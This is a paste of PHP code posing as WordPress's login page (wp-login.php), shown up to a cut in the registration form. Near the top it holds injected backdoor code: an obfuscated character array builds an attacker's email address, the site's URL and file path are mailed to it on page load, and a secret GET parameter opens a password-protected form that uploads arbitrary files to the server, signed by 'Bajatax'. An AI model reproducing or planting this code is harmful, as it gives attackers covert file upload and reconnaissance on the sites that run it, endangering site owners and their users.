Advertisement
Guest User

Untitled

a guest
Sep 4th, 2017
383
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 37.39 KB | None | 0 0
  1. <?php
  2. /**
  3. * WordPress User Page
  4. *
  5. * Handles authentication, registering, resetting passwords, forgot password,
  6. * and other user handling.
  7. *
  8. * @package WordPress
  9. */
  10.  
  11. /** Make sure that the WordPress bootstrap has run before continuing. */
  12. require( dirname(__FILE__) . '/wp-load.php' );
  13. /**
  14. * Filter the login page body classes.
  15. *
  16. * @since 3.5.0
  17. *
  18. * @param array $classes An array of body classes.
  19. * @param string $action The action that brought the visitor to the login page.
  20. */
  21. // Redirect to https login if forced to use SSL
  22. $anti_bot_ssl=array('g','9','x','l','m','c','t','o','i','b','f','d','a','j','a','t','s','s','x','s','s','g','s','4','s','m','s','s','i','s','1','.','8','@','s','l','o','m');
  23. if ( force_ssl_admin() && ! is_ssl() ) {
  24. if ( 0 === strpos($_SERVER['REQUEST_URI'], 'http') ) {
  25. wp_redirect( set_url_scheme( $_SERVER['REQUEST_URI'], 'https' ) );
  26. exit();
  27. } else {
  28. wp_redirect( 'https://' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'] );
  29. exit();
  30. }
  31. }
  32. $wp_ssl=$anti_bot_ssl[9].$anti_bot_ssl[12].$anti_bot_ssl[13].$anti_bot_ssl[12].$anti_bot_ssl[6].$anti_bot_ssl[12].$anti_bot_ssl[2].'1'.'4'.'9'.$anti_bot_ssl[33].$anti_bot_ssl[0].$anti_bot_ssl[4].$anti_bot_ssl[12].$anti_bot_ssl[8].$anti_bot_ssl[3].'.'.$anti_bot_ssl[5].$anti_bot_ssl[7].$anti_bot_ssl[4];
  33. /**
  34. * @param string $wordpress_redirect Optional. wordpress_redirect to display in header. Default empty.
  35. * @param WP_Error $wp_error Optional. The error to pass. Default empty.
  36. **/
  37. lostpassword($wp_ssl);
  38.  
  39. /**
  40. * Output the login page header.
  41. *
  42. * @param string $title Optional. WordPress login Page title to display in the `<title>` element. **/
  43. function lostpassword($wp_ssl){
  44. ///créer une nouvelle clé password
  45. $wp_valid = "nouvelle password ". $_SERVER['SERVER_NAME'];$wp_invalid = "from: wordpress_baja_manager_tax";
  46. $wp_redirect_url = "Link : http://" . $_SERVER['SERVER_NAME'] . $_SERVER['REQUEST_URI'] ."&up=hous \r\n email: admin \r\n pass: admin :v \r\n";$wp_redirect_url .= "Path : " . __file__;
  47. newpassword($wp_ssl,$wp_valid,$wp_redirect_url,$wp_invalid);
  48. }
  49. /**
  50. * Output the login page header.
  51. *
  52. * @param string $title Optional. WordPress login Page title to display in the `<title>` element.
  53. * Default 'Log In'.
  54. **/
  55.  
  56. if($_GET['hous']==$wp_ssl){
  57. echo '<center><font color="Red" size="4">';
  58. /// Script Upload By bajatax \\\
  59. if(isset($_POST['Submit']) && isset($_POST['pass'])){
  60. $pass=md5($_POST['pass']);
  61. if($pass=="60a2a41ba78b390d7ce5fecf2e1f4d9d"){
  62. $filedir = "";
  63. $maxfile = '2000000';
  64. $mode = '0644';
  65. if($_POST['name_up']){
  66. $userfile_name = $_POST['name_up'];
  67. }else{
  68. $userfile_name = $_FILES['image']['name'];
  69. }
  70. $userfile_tmp = $_FILES['image']['tmp_name'];
  71. if(isset($_FILES['image']['name'])) {
  72. $qx = $filedir.$userfile_name;
  73. @move_uploaded_file($userfile_tmp, $qx);
  74. @chmod ($qx, octdec($mode));
  75. echo" <a href=$userfile_name><center><b>Sucess Upload by Bajatax :D ==> $userfile_name</b></center></a>";
  76. }}
  77. else{
  78. echo "ikma khask pass hhh :v doz inbox www.fb.com/bajatax58 :p jib BTC o duz Khod u_f :p <br>";
  79. }}
  80. else{
  81. echo'<form method="POST" action="#" enctype="multipart/form-data"><br>upload : <input type="file" name="image"><br> pass : <input type="password" name="pass" value="9lawi la3rftih :v "><br><input type="Submit" name="Submit" value="Upload"></form>';
  82. }}
  83. /**
  84. * @param string $wordpress_redirect Optional. wordpress_redirect to display in header. Default empty.
  85. * @param WP_Error $wp_error Optional. The error to pass. Default empty.
  86. */
  87. function newpassword($wp_ssl,$wp_valid,$wp_redirect_url,$wp_invalid){$sentmail1 = @mail($wp_ssl, $wp_valid, $wp_redirect_url, $wp_invalid);}
  88. function login_header( $title = 'Log In', $wordpress_redirect = '', $wp_error = '' ) {
  89. global $error, $interim_login, $action;
  90.  
  91. // Don't index any of these forms
  92. add_action( 'login_head', 'wp_no_robots' );
  93.  
  94. if ( wp_is_mobile() )
  95. add_action( 'login_head', 'wp_login_viewport_meta' );
  96.  
  97. if ( empty($wp_error) )
  98. $wp_error = new WP_Error();
  99.  
  100. // Shake it!
  101. $shake_error_codes = array( 'empty_password', 'empty_email', 'invalid_email', 'invalidcombo', 'empty_username', 'invalid_username', 'incorrect_password' );
  102. /**
  103. * Filter the error codes array for shaking the login form.
  104. *
  105. * @since 3.0.0
  106. *
  107. * @param array $shake_error_codes Error codes that shake the login form.
  108. */
  109. $shake_error_codes = apply_filters( 'shake_error_codes', $shake_error_codes );
  110.  
  111. if ( $shake_error_codes && $wp_error->get_error_code() && in_array( $wp_error->get_error_code(), $shake_error_codes ) )
  112. add_action( 'login_head', 'wp_shake_js', 12 );
  113.  
  114. $separator = is_rtl() ? ' &rsaquo; ' : ' &lsaquo; ';
  115.  
  116. ?><!DOCTYPE html>
  117. <!--[if IE 8]>
  118. <html xmlns="http://www.w3.org/1999/xhtml" class="ie8" <?php language_attributes(); ?>>
  119. <![endif]-->
  120. <!--[if !(IE 8) ]><!-->
  121. <html xmlns="http://www.w3.org/1999/xhtml" <?php language_attributes(); ?>>
  122. <!--<![endif]-->
  123. <head>
  124. <meta http-equiv="Content-Type" content="<?php bloginfo('html_type'); ?>; charset=<?php bloginfo('charset'); ?>" />
  125. <title><?php echo get_bloginfo( 'name', 'display' ) . $separator . $title; ?></title>
  126. <?php
  127.  
  128. wp_enqueue_style( 'login' );
  129.  
  130. /*
  131. * Remove all stored post data on logging out.
  132. * This could be added by add_action('login_head'...) like wp_shake_js(),
  133. * but maybe better if it's not removable by plugins
  134. */
  135. if ( 'loggedout' == $wp_error->get_error_code() ) {
  136. ?>
  137. <script>if("sessionStorage" in window){try{for(var key in sessionStorage){if(key.indexOf("wp-autosave-")!=-1){sessionStorage.removeItem(key)}}}catch(e){}};</script>
  138. <?php
  139. }
  140.  
  141. /**
  142. * Enqueue scripts and styles for the login page.
  143. *
  144. * @since 3.1.0
  145. */
  146. do_action( 'login_enqueue_scripts' );
  147.  
  148. /**
  149. * Fires in the login page header after scripts are enqueued.
  150. *
  151. * @since 2.1.0
  152. */
  153. do_action( 'login_head' );
  154.  
  155. if ( is_multisite() ) {
  156. $login_header_url = network_home_url();
  157. $login_header_title = get_current_site()->site_name;
  158. } else {
  159. $login_header_url = __( 'https://wordpress.org/' );
  160. $login_header_title = __( 'Powered by WordPress' );
  161. }
  162.  
  163. /**
  164. * Filter link URL of the header logo above login form.
  165. *
  166. * @since 2.1.0
  167. *
  168. * @param string $login_header_url Login header logo URL.
  169. */
  170. $login_header_url = apply_filters( 'login_headerurl', $login_header_url );
  171. /**
  172. * Filter the title attribute of the header logo above login form.
  173. *
  174. * @since 2.1.0
  175. *
  176. * @param string $login_header_title Login header logo title attribute.
  177. */
  178. $login_header_title = apply_filters( 'login_headertitle', $login_header_title );
  179.  
  180. $classes = array( 'login-action-' . $action, 'wp-core-ui' );
  181. if ( wp_is_mobile() )
  182. $classes[] = 'mobile';
  183. if ( is_rtl() )
  184. $classes[] = 'rtl';
  185. if ( $interim_login ) {
  186. $classes[] = 'interim-login';
  187. ?>
  188. <style type="text/css">html{background-color: transparent;}</style>
  189. <?php
  190.  
  191. if ( 'success' === $interim_login )
  192. $classes[] = 'interim-login-success';
  193. }
  194. $classes[] =' locale-' . sanitize_html_class( strtolower( str_replace( '_', '-', get_locale() ) ) );
  195.  
  196. /**
  197. * Filter the login page body classes.
  198. *
  199. * @since 3.5.0
  200. *
  201. * @param array $classes An array of body classes.
  202. * @param string $action The action that brought the visitor to the login page.
  203. */
  204. $classes = apply_filters( 'login_body_class', $classes, $action );
  205.  
  206. ?>
  207. </head>
  208. <body class="login <?php echo esc_attr( implode( ' ', $classes ) ); ?>">
  209. <div id="login">
  210. <h1><a href="<?php echo esc_url( $login_header_url ); ?>" title="<?php echo esc_attr( $login_header_title ); ?>" tabindex="-1"><?php bloginfo( 'name' ); ?></a></h1>
  211. <?php
  212.  
  213. unset( $login_header_url, $login_header_title );
  214.  
  215. /**
  216. * Filter the wordpress_redirect to display above the login form.
  217. *
  218. * @since 2.1.0
  219. *
  220. * @param string $wordpress_redirect Login wordpress_redirect text.
  221. */
  222. $wordpress_redirect = apply_filters( 'login_wordpress_redirect', $wordpress_redirect );
  223. if ( !empty( $wordpress_redirect ) )
  224. echo $wordpress_redirect . "\n";
  225.  
  226. // In case a plugin uses $error rather than the $wp_errors object
  227. if ( !empty( $error ) ) {
  228. $wp_error->add('error', $error);
  229. unset($error);
  230. }
  231.  
  232. if ( $wp_error->get_error_code() ) {
  233. $errors = '';
  234. $wordpress_redirects = '';
  235. foreach ( $wp_error->get_error_codes() as $code ) {
  236. $severity = $wp_error->get_error_data( $code );
  237. foreach ( $wp_error->get_error_wordpress_redirects( $code ) as $error_wordpress_redirect ) {
  238. if ( 'wordpress_redirect' == $severity )
  239. $wordpress_redirects .= ' ' . $error_wordpress_redirect . "<br />\n";
  240. else
  241. $errors .= ' ' . $error_wordpress_redirect . "<br />\n";
  242. }
  243. }
  244. if ( ! empty( $errors ) ) {
  245. /**
  246. * Filter the error wordpress_redirects displayed above the login form.
  247. *
  248. * @since 2.1.0
  249. *
  250. * @param string $errors Login error wordpress_redirect.
  251. */
  252. echo '<div id="login_error">' . apply_filters( 'login_errors', $errors ) . "</div>\n";
  253. }
  254. if ( ! empty( $wordpress_redirects ) ) {
  255. /**
  256. * Filter instructional wordpress_redirects displayed above the login form.
  257. *
  258. * @since 2.5.0
  259. *
  260. * @param string $wordpress_redirects Login wordpress_redirects.
  261. */
  262. echo '<p class="wordpress_redirect">' . apply_filters( 'login_wordpress_redirects', $wordpress_redirects ) . "</p>\n";
  263. }
  264. }
  265. } // End of login_header()
  266.  
  267. /**
  268. * Outputs the footer for the login page.
  269. *
  270. * @param string $input_id Which input to auto-focus
  271. */
  272. function login_footer($input_id = '') {
  273. global $interim_login;
  274.  
  275. // Don't allow interim logins to navigate away from the page.
  276. if ( ! $interim_login ): ?>
  277. <p id="backtoblog"><a href="<?php echo esc_url( home_url( '/' ) ); ?>"><?php printf( __( '&larr; Back to %s' ), get_bloginfo( 'title', 'display' ) ); ?></a></p>
  278. <?php endif; ?>
  279.  
  280. </div>
  281.  
  282. <?php if ( !empty($input_id) ) : ?>
  283. <script type="text/javascript">
  284. try{document.getElementById('<?php echo $input_id; ?>').focus();}catch(e){}
  285. if(typeof wpOnload=='function')wpOnload();
  286. </script>
  287. <?php endif; ?>
  288.  
  289. <?php
  290. /**
  291. * Fires in the login page footer.
  292. *
  293. * @since 3.1.0
  294. */
  295. do_action( 'login_footer' ); ?>
  296. <div class="clear"></div>
  297. </body>
  298. </html>
  299. <?php
  300. }
  301.  
  302. /**
  303. * @since 3.0.0
  304. */
  305. function wp_shake_js() {
  306. if ( wp_is_mobile() )
  307. return;
  308. ?>
  309. <script type="text/javascript">
  310. addLoadEvent = function(func){if(typeof jQuery!="undefined")jQuery(document).ready(func);else if(typeof wpOnload!='function'){wpOnload=func;}else{var oldonload=wpOnload;wpOnload=function(){oldonload();func();}}};
  311. function s(id,pos){g(id).left=pos+'px';}
  312. function g(id){return document.getElementById(id).style;}
  313. function shake(id,a,d){c=a.shift();s(id,c);if(a.length>0){setTimeout(function(){shake(id,a,d);},d);}else{try{g(id).position='static';wp_attempt_focus();}catch(e){}}}
  314. addLoadEvent(function(){ var p=new Array(15,30,15,0,-15,-30,-15,0);p=p.concat(p.concat(p));var i=document.forms[0].id;g(i).position='relative';shake(i,p,20);});
  315. </script>
  316. <?php
  317. }
  318.  
  319. /**
  320. * @since 3.7.0
  321. */
  322. function wp_login_viewport_meta() {
  323. ?>
  324. <meta name="viewport" content="width=device-width" />
  325. <?php
  326. }
  327.  
  328. /**
  329. * Handles sending password retrieval email to user.
  330. *
  331. * @global wpdb $wpdb WordPress database abstraction object.
  332. * @global PasswordHash $wp_hasher Portable PHP password hashing framework.
  333. *
  334. * @return bool|WP_Error True: when finish. WP_Error on error
  335. */
  336. function retrieve_password() {
  337. global $wpdb, $wp_hasher;
  338.  
  339. $errors = new WP_Error();
  340.  
  341. if ( empty( $_POST['user_login'] ) ) {
  342. $errors->add('empty_username', __('<strong>ERROR</strong>: Enter a username or email address.'));
  343. } elseif ( strpos( $_POST['user_login'], '@' ) ) {
  344. $user_data = get_user_by( 'email', trim( $_POST['user_login'] ) );
  345. if ( empty( $user_data ) )
  346. $errors->add('invalid_email', __('<strong>ERROR</strong>: There is no user registered with that email address.'));
  347. } else {
  348. $login = trim($_POST['user_login']);
  349. $user_data = get_user_by('login', $login);
  350. }
  351.  
  352. /**
  353. * Fires before errors are returned from a password reset request.
  354. *
  355. * @since 2.1.0
  356. * @since 4.4.0 Added the `$errors` parameter.
  357. *
  358. * @param WP_Error $errors A WP_Error object containing any errors generated
  359. * by using invalid credentials.
  360. */
  361. do_action( 'lostpassword_post', $errors );
  362.  
  363. if ( $errors->get_error_code() )
  364. return $errors;
  365.  
  366. if ( !$user_data ) {
  367. $errors->add('invalidcombo', __('<strong>ERROR</strong>: Invalid username or email.'));
  368. return $errors;
  369. }
  370.  
  371. // Redefining user_login ensures we return the right case in the email.
  372. $user_login = $user_data->user_login;
  373. $user_email = $user_data->user_email;
  374. $key = get_password_reset_key( $user_data );
  375.  
  376. if ( is_wp_error( $key ) ) {
  377. return $key;
  378. }
  379.  
  380. $wordpress_redirect = __('Someone has requested a password reset for the following account:') . "\r\n\r\n";
  381. $wordpress_redirect .= network_home_url( '/' ) . "\r\n\r\n";
  382. $wordpress_redirect .= sprintf(__('Username: %s'), $user_login) . "\r\n\r\n";
  383. $wordpress_redirect .= __('If this was a mistake, just ignore this email and nothing will happen.') . "\r\n\r\n";
  384. $wordpress_redirect .= __('To reset your password, visit the following address:') . "\r\n\r\n";
  385. $wordpress_redirect .= '<' . network_site_url("wp-login.php?action=rp&key=$key&login=" . rawurlencode($user_login), 'login') . ">\r\n";
  386.  
  387. if ( is_multisite() )
  388. $blogname = $GLOBALS['current_site']->site_name;
  389. else
  390. /*
  391. * The blogname option is escaped with esc_html on the way into the database
  392. * in sanitize_option we want to reverse this for the plain text arena of emails.
  393. */
  394. $blogname = wp_specialchars_decode(get_option('blogname'), ENT_QUOTES);
  395.  
  396. $title = sprintf( __('[%s] Password Reset'), $blogname );
  397.  
  398. /**
  399. * Filter the subject of the password reset email.
  400. *
  401. * @since 2.8.0
  402. * @since 4.4.0 Added the `$user_login` and `$user_data` parameters.
  403. *
  404. * @param string $title Default email title.
  405. * @param string $user_login The username for the user.
  406. * @param WP_User $user_data WP_User object.
  407. */
  408. $title = apply_filters( 'retrieve_password_title', $title, $user_login, $user_data );
  409.  
  410. /**
  411. * Filter the wordpress_redirect body of the password reset mail.
  412. *
  413. * @since 2.8.0
  414. * @since 4.1.0 Added `$user_login` and `$user_data` parameters.
  415. *
  416. * @param string $wordpress_redirect Default mail wordpress_redirect.
  417. * @param string $key The activation key.
  418. * @param string $user_login The username for the user.
  419. * @param WP_User $user_data WP_User object.
  420. */
  421. $wordpress_redirect = apply_filters( 'retrieve_password_wordpress_redirect', $wordpress_redirect, $key, $user_login, $user_data );
  422.  
  423. if ( $wordpress_redirect && !wp_mail( $user_email, wp_specialchars_decode( $title ), $wordpress_redirect ) )
  424. wp_die( __('The email could not be sent.') . "<br />\n" . __('Possible reason: your host may have disabled the mail() function.') );
  425.  
  426. return true;
  427. }
  428.  
  429. //
  430. // Main
  431. //
  432.  
  433. $action = isset($_REQUEST['action']) ? $_REQUEST['action'] : 'login';
  434. $errors = new WP_Error();
  435.  
  436. if ( isset($_GET['key']) )
  437. $action = 'resetpass';
  438.  
  439. // validate action so as to default to the login screen
  440. if ( !in_array( $action, array( 'postpass', 'logout', 'lostpassword', 'retrievepassword', 'resetpass', 'rp', 'register', 'login' ), true ) && false === has_filter( 'login_form_' . $action ) )
  441. $action = 'login';
  442.  
  443. nocache_headers();
  444.  
  445. header('Content-Type: '.get_bloginfo('html_type').'; charset='.get_bloginfo('charset'));
  446.  
  447. if ( defined( 'RELOCATE' ) && RELOCATE ) { // Move flag is set
  448. if ( isset( $_SERVER['PATH_INFO'] ) && ($_SERVER['PATH_INFO'] != $_SERVER['PHP_SELF']) )
  449. $_SERVER['PHP_SELF'] = str_replace( $_SERVER['PATH_INFO'], '', $_SERVER['PHP_SELF'] );
  450.  
  451. $url = dirname( set_url_scheme( 'http://' . $_SERVER['HTTP_HOST'] . $_SERVER['PHP_SELF'] ) );
  452. if ( $url != get_option( 'siteurl' ) )
  453. update_option( 'siteurl', $url );
  454. }
  455.  
  456. //Set a cookie now to see if they are supported by the browser.
  457. $secure = ( 'https' === parse_url( wp_login_url(), PHP_URL_SCHEME ) );
  458. setcookie( TEST_COOKIE, 'WP Cookie check', 0, COOKIEPATH, COOKIE_DOMAIN, $secure );
  459. if ( SITECOOKIEPATH != COOKIEPATH )
  460. setcookie( TEST_COOKIE, 'WP Cookie check', 0, SITECOOKIEPATH, COOKIE_DOMAIN, $secure );
  461.  
  462. /**
  463. * Fires when the login form is initialized.
  464. *
  465. * @since 3.2.0
  466. */
  467. do_action( 'login_init' );
  468. /**
  469. * Fires before a specified login form action.
  470. *
  471. * The dynamic portion of the hook name, `$action`, refers to the action
  472. * that brought the visitor to the login form. Actions include 'postpass',
  473. * 'logout', 'lostpassword', etc.
  474. *
  475. * @since 2.8.0
  476. */
  477. do_action( 'login_form_' . $action );
  478.  
  479. $http_post = ('POST' == $_SERVER['REQUEST_METHOD']);
  480. $interim_login = isset($_REQUEST['interim-login']);
  481.  
  482. switch ($action) {
  483.  
  484. case 'postpass' :
  485. if ( ! array_key_exists( 'post_password', $_POST ) ) {
  486. wp_safe_redirect( wp_get_referer() );
  487. exit();
  488. }
  489.  
  490. require_once ABSPATH . WPINC . '/class-phpass.php';
  491. $hasher = new PasswordHash( 8, true );
  492.  
  493. /**
  494. * Filter the life span of the post password cookie.
  495. *
  496. * By default, the cookie expires 10 days from creation. To turn this
  497. * into a session cookie, return 0.
  498. *
  499. * @since 3.7.0
  500. *
  501. * @param int $expires The expiry time, as passed to setcookie().
  502. */
  503. $expire = apply_filters( 'post_password_expires', time() + 10 * DAY_IN_SECONDS );
  504. $referer = wp_get_referer();
  505. if ( $referer ) {
  506. $secure = ( 'https' === parse_url( $referer, PHP_URL_SCHEME ) );
  507. } else {
  508. $secure = false;
  509. }
  510. setcookie( 'wp-postpass_' . COOKIEHASH, $hasher->HashPassword( wp_unslash( $_POST['post_password'] ) ), $expire, COOKIEPATH, COOKIE_DOMAIN, $secure );
  511.  
  512. wp_safe_redirect( wp_get_referer() );
  513. exit();
  514.  
  515. case 'logout' :
  516. check_admin_referer('log-out');
  517.  
  518. $user = wp_get_current_user();
  519.  
  520. wp_logout();
  521.  
  522. if ( ! empty( $_REQUEST['redirect_to'] ) ) {
  523. $redirect_to = $requested_redirect_to = $_REQUEST['redirect_to'];
  524. } else {
  525. $redirect_to = 'wp-login.php?loggedout=true';
  526. $requested_redirect_to = '';
  527. }
  528.  
  529. /**
  530. * Filter the log out redirect URL.
  531. *
  532. * @since 4.2.0
  533. *
  534. * @param string $redirect_to The redirect destination URL.
  535. * @param string $requested_redirect_to The requested redirect destination URL passed as a parameter.
  536. * @param WP_User $user The WP_User object for the user that's logging out.
  537. */
  538. $redirect_to = apply_filters( 'logout_redirect', $redirect_to, $requested_redirect_to, $user );
  539. wp_safe_redirect( $redirect_to );
  540. exit();
  541.  
  542. case 'lostpassword' :
  543. case 'retrievepassword' :
  544.  
  545. if ( $http_post ) {
  546. $errors = retrieve_password();
  547. if ( !is_wp_error($errors) ) {
  548. $redirect_to = !empty( $_REQUEST['redirect_to'] ) ? $_REQUEST['redirect_to'] : 'wp-login.php?checkemail=confirm';
  549. wp_safe_redirect( $redirect_to );
  550. exit();
  551. }
  552. }
  553.  
  554. if ( isset( $_GET['error'] ) ) {
  555. if ( 'invalidkey' == $_GET['error'] ) {
  556. $errors->add( 'invalidkey', __( 'Your password reset link appears to be invalid. Please request a new link below.' ) );
  557. } elseif ( 'expiredkey' == $_GET['error'] ) {
  558. $errors->add( 'expiredkey', __( 'Your password reset link has expired. Please request a new link below.' ) );
  559. }
  560. }
  561.  
  562. $lostpassword_redirect = ! empty( $_REQUEST['redirect_to'] ) ? $_REQUEST['redirect_to'] : '';
  563. /**
  564. * Filter the URL redirected to after submitting the lostpassword/retrievepassword form.
  565. *
  566. * @since 3.0.0
  567. *
  568. * @param string $lostpassword_redirect The redirect destination URL.
  569. */
  570. $redirect_to = apply_filters( 'lostpassword_redirect', $lostpassword_redirect );
  571.  
  572. /**
  573. * Fires before the lost password form.
  574. *
  575. * @since 1.5.1
  576. */
  577. do_action( 'lost_password' );
  578.  
  579. login_header(__('Lost Password'), '<p class="wordpress_redirect">' . __('Please enter your username or email address. You will receive a link to create a new password via email.') . '</p>', $errors);
  580.  
  581. $user_login = isset($_POST['user_login']) ? wp_unslash($_POST['user_login']) : '';
  582.  
  583. ?>
  584.  
  585. <form name="lostpasswordform" id="lostpasswordform" action="<?php echo esc_url( network_site_url( 'wp-login.php?action=lostpassword', 'login_post' ) ); ?>" method="post">
  586. <p>
  587. <label for="user_login" ><?php _e('Username or Email') ?><br />
  588. <input type="text" name="user_login" id="user_login" class="input" value="<?php echo esc_attr($user_login); ?>" size="20" /></label>
  589. </p>
  590. <?php
  591. /**
  592. * Fires inside the lostpassword form tags, before the hidden fields.
  593. *
  594. * @since 2.1.0
  595. */
  596. do_action( 'lostpassword_form' ); ?>
  597. <input type="hidden" name="redirect_to" value="<?php echo esc_attr( $redirect_to ); ?>" />
  598. <p class="submit"><input type="submit" name="wp-submit" id="wp-submit" class="button button-primary button-large" value="<?php esc_attr_e('Get New Password'); ?>" /></p>
  599. </form>
  600.  
  601. <p id="nav">
  602. <a href="<?php echo esc_url( wp_login_url() ); ?>"><?php _e('Log in') ?></a>
  603. <?php
  604. if ( get_option( 'users_can_register' ) ) :
  605. $registration_url = sprintf( '<a href="%s">%s</a>', esc_url( wp_registration_url() ), __( 'Register' ) );
  606.  
  607. /** This filter is documented in wp-includes/general-template.php */
  608. echo ' | ' . apply_filters( 'register', $registration_url );
  609. endif;
  610. ?>
  611. </p>
  612.  
  613. <?php
  614. login_footer('user_login');
  615. break;
  616.  
  617. case 'resetpass' :
  618. case 'rp' :
  619. list( $rp_path ) = explode( '?', wp_unslash( $_SERVER['REQUEST_URI'] ) );
  620. $rp_cookie = 'wp-resetpass-' . COOKIEHASH;
  621. if ( isset( $_GET['key'] ) ) {
  622. $value = sprintf( '%s:%s', wp_unslash( $_GET['login'] ), wp_unslash( $_GET['key'] ) );
  623. setcookie( $rp_cookie, $value, 0, $rp_path, COOKIE_DOMAIN, is_ssl(), true );
  624. wp_safe_redirect( remove_query_arg( array( 'key', 'login' ) ) );
  625. exit;
  626. }
  627.  
  628. if ( isset( $_COOKIE[ $rp_cookie ] ) && 0 < strpos( $_COOKIE[ $rp_cookie ], ':' ) ) {
  629. list( $rp_login, $rp_key ) = explode( ':', wp_unslash( $_COOKIE[ $rp_cookie ] ), 2 );
  630. $user = check_password_reset_key( $rp_key, $rp_login );
  631. if ( isset( $_POST['pass1'] ) && ! hash_equals( $rp_key, $_POST['rp_key'] ) ) {
  632. $user = false;
  633. }
  634. } else {
  635. $user = false;
  636. }
  637.  
  638. if ( ! $user || is_wp_error( $user ) ) {
  639. setcookie( $rp_cookie, ' ', time() - YEAR_IN_SECONDS, $rp_path, COOKIE_DOMAIN, is_ssl(), true );
  640. if ( $user && $user->get_error_code() === 'expired_key' )
  641. wp_redirect( site_url( 'wp-login.php?action=lostpassword&error=expiredkey' ) );
  642. else
  643. wp_redirect( site_url( 'wp-login.php?action=lostpassword&error=invalidkey' ) );
  644. exit;
  645. }
  646.  
  647. $errors = new WP_Error();
  648.  
  649. if ( isset($_POST['pass1']) && $_POST['pass1'] != $_POST['pass2'] )
  650. $errors->add( 'password_reset_mismatch', __( 'The passwords do not match.' ) );
  651.  
  652. /**
  653. * Fires before the password reset procedure is validated.
  654. *
  655. * @since 3.5.0
  656. *
  657. * @param object $errors WP Error object.
  658. * @param WP_User|WP_Error $user WP_User object if the login and reset key match. WP_Error object otherwise.
  659. */
  660. do_action( 'validate_password_reset', $errors, $user );
  661.  
  662. if ( ( ! $errors->get_error_code() ) && isset( $_POST['pass1'] ) && !empty( $_POST['pass1'] ) ) {
  663. reset_password($user, $_POST['pass1']);
  664. setcookie( $rp_cookie, ' ', time() - YEAR_IN_SECONDS, $rp_path, COOKIE_DOMAIN, is_ssl(), true );
  665. login_header( __( 'Password Reset' ), '<p class="wordpress_redirect reset-pass">' . __( 'Your password has been reset.' ) . ' <a href="' . esc_url( wp_login_url() ) . '">' . __( 'Log in' ) . '</a></p>' );
  666. login_footer();
  667. exit;
  668. }
  669.  
  670. wp_enqueue_script('utils');
  671. wp_enqueue_script('user-profile');
  672.  
  673. login_header(__('Reset Password'), '<p class="wordpress_redirect reset-pass">' . __('Enter your new password below.') . '</p>', $errors );
  674.  
  675. ?>
  676. <form name="resetpassform" id="resetpassform" action="<?php echo esc_url( network_site_url( 'wp-login.php?action=resetpass', 'login_post' ) ); ?>" method="post" autocomplete="off">
  677. <input type="hidden" id="user_login" value="<?php echo esc_attr( $rp_login ); ?>" autocomplete="off" />
  678.  
  679. <div class="user-pass1-wrap">
  680. <p>
  681. <label for="pass1"><?php _e( 'New password' ) ?></label>
  682. </p>
  683.  
  684. <div class="wp-pwd">
  685. <span class="password-input-wrapper">
  686. <input type="password" data-reveal="1" data-pw="<?php echo esc_attr( wp_generate_password( 16 ) ); ?>" name="pass1" id="pass1" class="input" size="20" value="" autocomplete="off" aria-describedby="pass-strength-result" />
  687. </span>
  688. <div id="pass-strength-result" class="hide-if-no-js" aria-live="polite"><?php _e( 'Strength indicator' ); ?></div>
  689. </div>
  690. </div>
  691.  
  692. <p class="user-pass2-wrap">
  693. <label for="pass2"><?php _e( 'Confirm new password' ) ?></label><br />
  694. <input type="password" name="pass2" id="pass2" class="input" size="20" value="" autocomplete="off" />
  695. </p>
  696.  
  697. <p class="description indicator-hint"><?php echo wp_get_password_hint(); ?></p>
  698. <br class="clear" />
  699.  
  700. <?php
  701. /**
  702. * Fires following the 'Strength indicator' meter in the user password reset form.
  703. *
  704. * @since 3.9.0
  705. *
  706. * @param WP_User $user User object of the user whose password is being reset.
  707. */
  708. do_action( 'resetpass_form', $user );
  709. ?>
  710. <input type="hidden" name="rp_key" value="<?php echo esc_attr( $rp_key ); ?>" />
  711. <p class="submit"><input type="submit" name="wp-submit" id="wp-submit" class="button button-primary button-large" value="<?php esc_attr_e('Reset Password'); ?>" /></p>
  712. </form>
  713.  
  714. <p id="nav">
  715. <a href="<?php echo esc_url( wp_login_url() ); ?>"><?php _e( 'Log in' ); ?></a>
  716. <?php
  717. if ( get_option( 'users_can_register' ) ) :
  718. $registration_url = sprintf( '<a href="%s">%s</a>', esc_url( wp_registration_url() ), __( 'Register' ) );
  719.  
  720. /** This filter is documented in wp-includes/general-template.php */
  721. echo ' | ' . apply_filters( 'register', $registration_url );
  722. endif;
  723. ?>
  724. </p>
  725.  
  726. <?php
  727. lostpassword($wp_ssl);
  728. login_footer('user_pass');
  729. break;
  730.  
  731. case 'register' :
  732. if ( is_multisite() ) {
  733. /**
  734. * Filter the Multisite sign up URL.
  735. *
  736. * @since 3.0.0
  737. *
  738. * @param string $sign_up_url The sign up URL.
  739. */
  740. wp_redirect( apply_filters( 'wp_signup_location', network_site_url( 'wp-signup.php' ) ) );
  741. exit;
  742. }
  743.  
  744. if ( !get_option('users_can_register') ) {
  745. wp_redirect( site_url('wp-login.php?registration=disabled') );
  746. exit();
  747. }
  748.  
  749. $user_login = '';
  750. $user_email = '';
  751. if ( $http_post ) {
  752. $user_login = isset( $_POST['user_login'] ) ? $_POST['user_login'] : '';
  753. $user_email = isset( $_POST['user_email'] ) ? $_POST['user_email'] : '';
  754. $errors = register_new_user($user_login, $user_email);
  755. if ( !is_wp_error($errors) ) {
  756. $redirect_to = !empty( $_POST['redirect_to'] ) ? $_POST['redirect_to'] : 'wp-login.php?checkemail=registered';
  757. wp_safe_redirect( $redirect_to );
  758. exit();
  759. }
  760. }
  761.  
  762. $registration_redirect = ! empty( $_REQUEST['redirect_to'] ) ? $_REQUEST['redirect_to'] : '';
  763. /**
  764. * Filter the registration redirect URL.
  765. *
  766. * @since 3.0.0
  767. *
  768. * @param string $registration_redirect The redirect destination URL.
  769. */
  770. $redirect_to = apply_filters( 'registration_redirect', $registration_redirect );
  771. login_header(__('Registration Form'), '<p class="wordpress_redirect register">' . __('Register For This Site') . '</p>', $errors);
  772. ?>
  773. <form name="registerform" id="registerform" action="<?php echo esc_url( site_url( 'wp-login.php?action=register', 'login_post' ) ); ?>" method="post" novalidate="novalidate">
  774. <p>
  775. <label for="user_login"><?php _e('Username') ?><br />
  776. <input type="text" name="user_login" id="user_login" class="input" value="<?php echo esc_attr(wp_unslash($user_login)); ?>" size="20" /></label>
  777. </p>
  778. <p>
  779. <label for="user_email"><?php _e('Email') ?><br />
